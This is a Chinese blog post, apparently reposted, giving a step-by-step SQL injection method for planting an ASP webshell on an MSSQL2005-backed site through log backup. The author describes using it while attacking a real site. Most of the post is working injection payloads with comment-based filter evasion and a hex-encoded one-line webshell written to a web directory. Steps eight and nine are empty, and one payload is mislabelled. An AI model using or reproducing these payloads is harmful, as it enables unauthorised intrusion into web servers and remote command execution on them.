天天看點

MSSQL2005差異備份拿shell (MSSQL2005 Backup Get Shell)

昨晚在拿站過程中遇到了個ASP+MSSQL2005的注入點,權限是DB_Owner的權限,網站路徑也搞到了,本想使用差異備份,在資料庫日志中插入一句話,然後備份到網站目錄下拿shell的,估計是使用者沒有備份資料庫的權限,但使用MSSQL2000的備份方法根本行不通,後來才想到MSSQL2005的備份和MSSQL2000有點不同。

      後來在網上搜半天沒有找到具體的備份語句,後來在群求助,小冰才發我了具體的利用語句,但貼出來的文章貌似沒啥水準,大家都知道手工差異備份是自己需要修改資料庫名和網站路徑的,但那個文章中對語句沒有做任何解釋,無奈之下我隻好自己嘗試了,雖然測試的網站沒有成功拿下shell,單語句是沒有錯誤的,我在本地的MSSQL2005的查詢分析器中測試通過了,再次特将語句整理出來分享個大家,并做好詳細的解釋說明,首先來貼出語句。

第一步

;alter/**/database/**/[Hospital]/**/set/**/recovery/**/full--

第二步:

;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--

第三步

;drop/**/table/**/[itpro]--

第四步

;create/**/table/**/[itpro]([a]/**/image)--

第五步

;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--

第六步

;insert/**/into/**/[itpro]([a])/**/values(0x3C25657865637574652872657175657374282261222929253EDA)--

第七步

;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x65003A005C007700650062005C007A002E00610073007000/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--

第八步

第九步

      其中紅色的“Hospital”既是資料庫名,這個要根據自己的情況來修改,然後黃色的“0x3C25657865637574652872657175657374282261222929253EDA”是一句話“<%eval request("a")%>”的内容,橙色的“0x65003A005C007700650062005C007A002E00610073007000”為備份的路徑“e:\web\z.asp”,都是使用的SQL_En的格式,另外第三步大可以不需要!他是删除itpro的表,如果第一次的話這個表是不存在的,就會提示無權限的資訊。另外在語句“disk=@d”的地方可以将“=”更換成“%3D”,就是使用URL編碼。“/**/”就等于空格了,這個大家在學習注入的過程中應該了解,也可以更換成“%20”。

      以上的語句僅供大家參考!有不足的地方大家可以積極指正,一起探讨。文章轉載請注明出處與作者!謝謝!